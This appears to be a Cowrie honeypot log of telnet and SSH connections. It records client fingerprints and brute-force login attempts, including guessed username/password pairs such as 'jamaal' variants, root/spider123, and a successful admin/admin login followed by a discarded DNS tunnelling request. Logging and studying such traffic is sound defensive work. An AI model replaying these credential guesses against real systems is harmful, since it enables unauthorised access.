{"eventid":"cowrie.session.closed","duration":32.15921902656555,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:30.066746Z","src_ip":"135.148.33.91","session":"5079dc9d3b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58454,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e990448399","protocol":"telnet","message":"New connection: 135.148.33.91:58454 (159.203.135.109:23) [session: c3e990448399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:32.073958Z"}
{"eventid":"cowrie.session.closed","duration":35.407291650772095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:42.318430Z","src_ip":"135.148.33.91","session":"4cab73b105cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":10826,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4ae8675eb85","protocol":"ssh","message":"New connection: 213.209.159.56:10826 (10.17.0.5:22) [session: c4ae8675eb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:44.850981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:44.854981Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:44.984465Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal","message":"login attempt [jamaal/jamaal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:45.388282Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38362,"dst_ip":"159.203.135.109","dst_port":23,"session":"83db20244d0d","protocol":"telnet","message":"New connection: 135.148.33.91:38362 (159.203.135.109:23) [session: 83db20244d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:46.181924Z"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal1","message":"login attempt [jamaal/jamaal1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:46.472360Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal123","message":"login attempt [jamaal/jamaal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:47.557960Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal1234","message":"login attempt [jamaal/jamaal1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:48.643082Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal12345","message":"login attempt [jamaal/jamaal12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:49.728760Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":34160,"dst_ip":"10.17.0.5","dst_port":22,"session":"629d8fd0669e","protocol":"ssh","message":"New connection: 161.248.189.72:34160 (10.17.0.5:22) [session: 629d8fd0669e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:50.640717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:50.645415Z","src_ip":"161.248.189.72","session":"629d8fd0669e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:50.813897Z","src_ip":"213.209.159.56","session":"c4ae8675eb85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:50.872882Z","src_ip":"161.248.189.72","session":"629d8fd0669e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spider123","message":"login attempt [root/spider123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:51.807639Z","src_ip":"161.248.189.72","session":"629d8fd0669e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:53.035813Z","src_ip":"161.248.189.72","session":"629d8fd0669e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.70974326133728,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:55.328902Z","src_ip":"135.148.33.91","session":"7a346234892d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ce66279772","protocol":"telnet","message":"New connection: 104.140.145.149:33026 (159.203.135.109:23) [session: 59ce66279772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:58.470375Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49900,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c0e4f3856c8","protocol":"telnet","message":"New connection: 135.148.33.91:49900 (159.203.135.109:23) [session: 5c0e4f3856c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:05.871827Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19806,"dst_ip":"10.17.0.5","dst_port":22,"session":"e097736481c9","protocol":"ssh","message":"New connection: 87.251.64.176:19806 (10.17.0.5:22) [session: e097736481c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:08.009914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:08.014828Z","src_ip":"87.251.64.176","session":"e097736481c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:08.111213Z","src_ip":"87.251.64.176","session":"e097736481c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:08.404546Z","src_ip":"87.251.64.176","session":"e097736481c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:08.506912Z","session":"e097736481c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:08.604719Z","src_ip":"87.251.64.176","session":"e097736481c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:08.707444Z","src_ip":"87.251.64.176","session":"e097736481c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.50814938545227,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:12.581991Z","src_ip":"135.148.33.91","session":"c3e990448399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":58396,"dst_ip":"159.203.135.109","dst_port":23,"session":"443b28803963","protocol":"telnet","message":"New connection: 104.140.145.149:58396 (159.203.135.109:23) [session: 443b28803963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:12.778956Z"}
{"eventid":"cowrie.session.closed","duration":35.738505363464355,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:21.920331Z","src_ip":"135.148.33.91","session":"83db20244d0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19788360595703,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:30.668173Z","src_ip":"104.140.145.149","session":"59ce66279772","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10545229911804,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:39.977145Z","src_ip":"135.148.33.91","session":"5c0e4f3856c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.10620474815369,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:39:58.885035Z","src_ip":"104.140.145.149","session":"443b28803963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33702,"dst_ip":"159.203.135.109","dst_port":23,"session":"799342bba0fe","protocol":"telnet","message":"New connection: 135.148.33.91:33702 (159.203.135.109:23) [session: 799342bba0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:13.149242Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37486,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a397076ef7","protocol":"telnet","message":"New connection: 135.148.33.91:37486 (159.203.135.109:23) [session: c3a397076ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:20.681757Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38800,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f554c5fce6f","protocol":"telnet","message":"New connection: 135.148.33.91:38800 (159.203.135.109:23) [session: 9f554c5fce6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:23.089072Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40796,"dst_ip":"159.203.135.109","dst_port":23,"session":"49c13d9f23a9","protocol":"telnet","message":"New connection: 135.148.33.91:40796 (159.203.135.109:23) [session: 49c13d9f23a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:28.718344Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"9695c1045553","protocol":"telnet","message":"New connection: 135.148.33.91:46552 (159.203.135.109:23) [session: 9695c1045553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:36.509510Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47914,"dst_ip":"159.203.135.109","dst_port":23,"session":"047061a00909","protocol":"telnet","message":"New connection: 135.148.33.91:47914 (159.203.135.109:23) [session: 047061a00909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:37.898790Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48330,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3a995592a2e","protocol":"telnet","message":"New connection: 135.148.33.91:48330 (159.203.135.109:23) [session: a3a995592a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:39.746085Z"}
{"eventid":"cowrie.session.closed","duration":35.78098726272583,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:48.930079Z","src_ip":"135.148.33.91","session":"799342bba0fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57582,"dst_ip":"159.203.135.109","dst_port":23,"session":"34d4bcbabd61","protocol":"telnet","message":"New connection: 135.148.33.91:57582 (159.203.135.109:23) [session: 34d4bcbabd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:54.610323Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56520,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b97715ea8da","protocol":"telnet","message":"New connection: 135.148.33.91:56520 (159.203.135.109:23) [session: 1b97715ea8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:55.835895Z"}
{"eventid":"cowrie.session.closed","duration":33.05184888839722,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:56.140794Z","src_ip":"135.148.33.91","session":"9f554c5fce6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12419843673706,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:40:56.805826Z","src_ip":"135.148.33.91","session":"c3a397076ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06320667266846,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:02.781448Z","src_ip":"135.148.33.91","session":"49c13d9f23a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34804,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3d8492c18c","protocol":"telnet","message":"New connection: 135.148.33.91:34804 (159.203.135.109:23) [session: bf3d8492c18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:03.902947Z"}
{"eventid":"cowrie.session.closed","duration":35.54849886894226,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:12.057896Z","src_ip":"135.148.33.91","session":"9695c1045553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.72094535827637,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:13.466921Z","src_ip":"135.148.33.91","session":"a3a995592a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42414,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8fbb6b682b9","protocol":"telnet","message":"New connection: 135.148.33.91:42414 (159.203.135.109:23) [session: e8fbb6b682b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:17.522352Z"}
{"eventid":"cowrie.session.closed","duration":40.2088577747345,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:18.107541Z","src_ip":"135.148.33.91","session":"047061a00909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.210500717163086,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:28.046250Z","src_ip":"135.148.33.91","session":"1b97715ea8da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.671945333480835,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:29.282148Z","src_ip":"135.148.33.91","session":"34d4bcbabd61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.585246324539185,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:38.488049Z","src_ip":"135.148.33.91","session":"bf3d8492c18c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35416,"dst_ip":"159.203.135.109","dst_port":23,"session":"42eb87e970c7","protocol":"telnet","message":"New connection: 135.148.33.91:35416 (159.203.135.109:23) [session: 42eb87e970c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:53.096579Z"}
{"eventid":"cowrie.session.closed","duration":36.22924590110779,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:41:53.751508Z","src_ip":"135.148.33.91","session":"e8fbb6b682b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40814,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4560c201c0e","protocol":"telnet","message":"New connection: 135.148.33.91:40814 (159.203.135.109:23) [session: d4560c201c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:01.523376Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43702,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe97ebaae7a0","protocol":"telnet","message":"New connection: 135.148.33.91:43702 (159.203.135.109:23) [session: fe97ebaae7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:05.301819Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.252.241.245","src_port":48207,"dst_ip":"159.203.135.109","dst_port":23,"session":"408e430b75d4","protocol":"telnet","message":"New connection: 92.252.241.245:48207 (159.203.135.109:23) [session: 408e430b75d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:08.094289Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47264,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4425679a3b","protocol":"telnet","message":"New connection: 135.148.33.91:47264 (159.203.135.109:23) [session: 3c4425679a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:11.133797Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50980,"dst_ip":"159.203.135.109","dst_port":23,"session":"02d7b74b65d1","protocol":"telnet","message":"New connection: 135.148.33.91:50980 (159.203.135.109:23) [session: 02d7b74b65d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:17.039918Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.247.81","src_port":59258,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e9accc3b2c","protocol":"ssh","message":"New connection: 107.170.247.81:59258 (10.17.0.5:22) [session: 69e9accc3b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:20.701494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:20.706069Z","src_ip":"107.170.247.81","session":"69e9accc3b2c","protocol":"ssh"}
